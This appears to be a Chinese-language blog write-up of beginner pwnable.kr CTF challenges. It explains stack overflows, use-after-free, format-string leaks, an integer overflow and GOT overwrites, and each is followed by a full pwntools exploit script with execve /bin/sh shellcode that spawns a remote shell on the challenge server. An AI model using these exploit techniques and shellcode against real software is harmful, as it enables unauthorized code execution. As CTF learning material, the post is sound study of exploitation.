0x00 记录下学习过程 首先,安天实验室几个pwn专题的实验不错。学习了下,当做入门。 入门之后,找到了练手的好地方:http://pwnable.kr/ ,这个网站的题目真的很不错。先做简单的,一般都能从网上搜到思路。然后,自己分析写写exp。 接下来,我记录下pwnable.kr
上的几个简单题目。
0x01 bof 最简单的栈溢出,源码都给了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ system("/bin/sh" ); } else { printf ("Nah..\n" ); } } int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
不过还是看ida比较好,可以精确知道overflowme
和key
分别到栈底(ebp
)之间的距离。精确覆盖即可。 可以看到:
1 2 char s; // [sp+1 Ch] [bp-2 Ch]@1 a1 为函数参数,位置为bp+8 h
因此两者之间的距离为34h
(也就是52字节)。接下来就是精确覆盖了,简单Payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * import time context.log_level = 'debug' exe = 'bof' #s= remote('127.0.0.1' ,9992 ,timeout=60 ) s= remote('143.248.249.64' ,9000 ,timeout=60 ) def getpid(): time .sleep(0.1 ) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!' ) getpid() key = 0 xcafebabe data = 'a' *52 + p32(key) s.sendline(data ) s.interactive()
0x02 fd linux下0代表标准输入:
1 2 3 4 fd@ ubuntu:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is !!
0x03 uaf 这个题目让我初步理解了use after free
漏洞,这个题目还涉及到c++内存布局中的虚函数知识,不好讲清楚。请参考这个链接: http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html 。 这里记录下我对uaf的一个测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <iostream> class Car { public : virtual void setValue (int value) = 0 ; virtual int getValue () = 0 ; protected : int mValue; }; class Electric_car : public Car{ public : void setValue (int value) { mValue = value; } int getValue () { mValue += 1 ; std ::cout << "This is Electric_car's getValue" << std ::endl ; return mValue; } }; class Fuel_car : public Car{ public : void setValue (int value) { mValue = value; } int getValue () { std ::cout << "This is Fuel_car's getValue" << std ::endl ; mValue += 100 ; return mValue; } }; void handleObject (Car* car) { car->setValue(0 ); std ::cout << car->getValue() << std ::endl ; } int main (void ) { Electric_car *myElectric_car = new Electric_car(); printf ("Electric_car=%p\n" , myElectric_car); handleObject(myElectric_car); free (myElectric_car); Fuel_car *myFuel_car = new Fuel_car(); printf ("Fuel_car=%p\n" , myFuel_car); handleObject(myFuel_car); handleObject(myElectric_car); return 0 ; }
上述代码的运行结果为:
1 2 3 4 5 6 7 8 Electric_car=00658E18 This is Electric_car's getValue 1 Fuel_car=00658E18 This is Fuel_car' s getValue100 This is Fuel_car's getValue 100
内存分配会优先在刚释放的内存区域进行。
0x04 echo1 刚入门,这个题目很不错。 这是个64位程序,扔到ida中,F5
慢慢看~ 阅读代码时基本功吧~ 很容易能找到溢出点: 变量s在bp-20h
处,而我们可以输入128字节的数据。栈上足以让我们写个shellcode。 现在缺少的是如何控制eip,跳转到我们栈上去执行shellcode。 思路:
刚好有个id
变量存储着我们输入进去的name,具体可以用gdb调调看看。然后就好说了:
全局变量id
存储jmp rsp
汇编指令。
栈返回地址覆盖为id
的地址
栈的返回地址以上都是我们的shellcode。(rsp
现在就指向这里)
Payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * import time context.log_level = 'debug' exe = 'echo1' #s= remote('127.0.0.1',9992,timeout=60) s= remote('143.248.249.64',9010,timeout=60) def getpid(): time.sleep(0.1) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!') getpid() jmpesp=asm("jmp rsp", arch = 'amd64', os = 'linux') ret_addr = 0x6020a0 shellcode = ("\x 6a\x 3b\x 58\x 99\x 48\x bb\x 2f\x 62\x 69\x 6e\x 2f\x 73\x 68\x 00" "\x 53\x 48\x 89\x e7\x 68\x 2d\x 63\x 00\x 00\x 48\x 89\x e6\x 52\x e8" "\x 08\x 00\x 00\x 00\x 2f\x 62\x 69\x 6e\x 2f\x 73\x 68\x 00\x 56\x 57" "\x 48\x 89\x e6\x 0f\x 05" ); s.recvuntil("hey, what's your name? :") s.sendline(jmpesp) #使id变量,存储jmp rsp指令 s.recvuntil(">") s.sendline("1") s.recvuntil("\n ") payload = 'a'*40 + p64(ret_addr) + shellcode #40为32(0x20h)+8(前一个栈帧的ebp占8个字节) #print data s.sendline(payload) s.interactive()
echo2 echo2接着echo1,看到了fsb
和uaf
。根据名字猜测,是格式化字符串漏洞
和use after free
结合。
漏洞点:
这里需要用它来泄露栈地址。
在我们为选择确定退出之前,下面cleanup()
函数已经free(o)
了。然后,在echo3
函数中,再次使用它。 变量s指针,重新在堆中分配的一块内存,在原来释放变量o
的地方。 我们只能输入32字节到内存中。所以只能触发echo3
的第1个语句*(o+3)()
(把shellcode地址放在第4个位置)。o
为_QWORD
类型,即它是8字节指针,+3
则加了24个字节。
shellcode 存储位置 现在我们就可以控制程序调到某个地址去执行。就缺shellcode了~ 在echo1
中全局变量id
可以存储,但只有2字节。无法存储一段shellcode。 因此,只能讲shellcode存在栈的上。找到了输入名字处的局部变量v7。 这里v7位于bp-20h
处。在汇编代码中,可以看到可以输入24字节到v7中。这样足以存储一段shellcode。
fsb泄露栈地址 万事俱备,只欠东风。现在只剩下最后一个问题:shellcode在栈上~而栈地址我们是不知道的,如何获取? fsb在这里就发挥作用了,在格式化字符串漏洞处打断点。可以看到: 可以在栈上看到可以泄露出一个ffffe420
的栈地址。因为%x
是输出无符号整数,所以只输出32位。从rsp
到这个栈地址就有10的距离了。可以使用%10$x
直接输出。 再找找我们输入的名字在哪:在ffffe400
处,两者的相对地址为20h
。因此,溢出这个地址,就可以得到我们的shellcode地址了。
payload 整理的payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import * import time context.log_level = 'debug' exe = 'echo2' #s= remote('127.0.0.1',9992,timeout=60) s= remote('143.248.249.64',9011,timeout=60) def getpid(): time.sleep(0.1) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!') getpid() #shellcode = ("\x 6a\x 3b\x 58\x 99\x 48\xbb \x 2f\x 62\x 69\x 6e\x 2f\x 73\x 68\x 00" # "\x 53\x 48\x 89\xe 7\x 68\x 2d\x 63\x 00\x 00\x 48\x 89\xe 6\x 52\xe 8" # "\x 08\x 00\x 00\x 00\x 2f\x 62\x 69\x 6e\x 2f\x 73\x 68\x 00\x 56\x 57" # "\x 48\x 89\xe 6\x 0f\x 05" ); shellcode = "" shellcode += "\x 31\xf 6\x 48\xbb \x 2f\x 62\x 69\x 6e" shellcode += "\x 2f\x 2f\x 73\x 68\x 56\x 53\x 54\x 5f" shellcode += "\x 6a\x 3b\x 58\x 31\xd 2\x 0f\x 05" shell_64 = shellcraft.amd64.linux.sh() shellcode_pwntools = asm(shell_64, arch = 'amd64', os = 'linux') s.recvuntil("hey, what's your name? :") s.sendline(shellcode_pwntools) s.recvuntil(">") s.sendline("2") s.recvuntil("\n ") format_str = " format_leak = " #print data s.sendline(format_str) leak_addr = s.recvuntil("\n ") leak_addr = "0x7fff" + leak_addr addr = int(leak_addr,16) - 0x20 #calc shellcode addr print addr addr = p64(addr) #overwrite the address of greeting function in UAF s.recvuntil('>') s.send('4' + '\n ') s.recvuntil(')') s.send('n' + '\n ') s.recvuntil('>') s.send('3' + '\n ') s.recvuntil('\n ') s.send('a'*24 + addr) # 利用uaf漏洞,执行addr(栈上)处shellcode。 s.recvuntil('>') #after overwrite trig greeting function s.send('2' + '\n ') s.interactive()
simple login 这个题目帮助我理解ebp,esp,eip中的关系。看漏洞点: input
最多有12字节的空间。而v4
为bp-8h
,刚好能覆盖前一栈帧的ebp
。 这里可以控制ebp
,能干啥事情呢? 先来看看函数开头和结尾的汇编代码:
1 2 3 4 5 push ebp mov ebp , esp //esp ==> ebp ......... leave //相当于 mov ebp ,esp retn //相当于 pop eip
覆盖ebp到可控全局变量(这里使用input
)地址。此时ebp所指向的栈(input内存块)状态为: 函数执行完成后,会执行mov ebp,esp;
。esp此时会执行栈底(即上图ebp的位置)。 pop ebp;
esp便指向了返回地址处(这里存储system('/bin/sh')
语句地址)。 pop eip
eip便跳到shell处执行命令了。 payload很简单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * import base64context.log_level = 'debug' exe = 'login' s= remote('143.248.249.64' ,9003 ,timeout=60 ) def getpid () : time.sleep(0.1 ) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!' ) getpid() system_addr = 0x08049278 input_addr = 0x0811EB40 payload = base64.b64encode("a" *4 + p32(system_addr) + p32(input_addr)) s.recvuntil('Authenticate :' ) s.sendline(payload) s.interactive()
dragon 这里有uaf漏洞和一个整数溢出漏洞
当我们胜利打败dragon
后,会产生一个uaf
漏洞,eip直接跳到我们输入的地址。
如何打败dragon
~ dragon
的血量只有一字节,一直防守,使其产生整数溢出。自爆~~
对应代码为:
1 while ( *((_BYTE *)ptr + 8 ) > 0 );
具体看Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *import time context.log_level = 'debug' exe = 'dragon' s= remote('143.248.249.64' ,9004 ,timeout=60 ) def getpid(): time .sleep(0.1 ) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!' ) getpid() system_addr = 0x08048DBF s.send ("1\n3\n3\n2\n3\n3\n2\n" ) s.send ("1\n3\n3\n" ) for i in range(3 ): s.send ("2\n3\n3\n" ) s.send ("2\n" ) s.sendline(p32(system_addr)) s.interactive()
brain fuck 漏洞点:
我们可以通过控制指针来读写内存中有限范围内地址的内容。
利用:
改变原有函数的got
表(认准.got.plt
),使其指向我们特定的函数。例如:system('/bin/sh')
本地我们产生这样的效果: payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * import base64 context.log_level = 'debug' exe = 'bf' s= remote('143.248.249.64' ,9001,timeout =60) def getpid(): time.sleep(0.1) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!' ) getpid() libc = ELF("./bf_libc.so" ) system_libc = libc.symbols['system' ]#0x0003F0B0 print "%x" %system_libcputchar_libc = libc.symbols['putchar' ]#0x000677D0 print "%x" %putchar_libcgets_libc = libc.symbols['gets' ]#0x00065E90 print "%x" %gets_libcfgets_libc = libc.symbols['fgets' ]#0x00064BC0 print "%x" %fgets_libcfgets_got = 0x0804A010 memset_got = 0x0804A02C putchar_got = 0x0804A030 p_init_addr = 0x0804A0A0 main_addr = 0x08048671 payload = '<' * (p_init_addr-fgets_got) + ".>" *4 + '<' *4 # leak putchar addr payload += ',>' *4 + '<' *4 # make fgets to system payload += '>' * (memset_got - fgets_got) + ',>' *4 + '<' *4 #make memset to gets payload += '>' * (putchar_got - memset_got) + ',>' *4 + '<' *4 #make putchar to main payload += '.' s.recvuntil('type some brainfuck instructions except [ ]' ) s.sendline(payload) fgets_real = int(s.recvn(5)[1:][::-1].encode("hex" ),16) # leak real_addr in process print "%x" % fgets_realsystem_real = fgets_real + system_libc - fgets_libc gets_real = fgets_real + gets_libc - fgets_libc s.send(p32(system_real)) s.send(p32(gets_real)) s.send(p32(main_addr)) s.sendline('/bin/sh' ) s.interactive()
这里需要使程序再次回到main函数中,所以将putchar
函数覆盖为main函数地址。 有疑问,测试过程中发现: 只能最后对putchar赋值为main函数地址? 猜测:putchar()和getchar()之间有关联。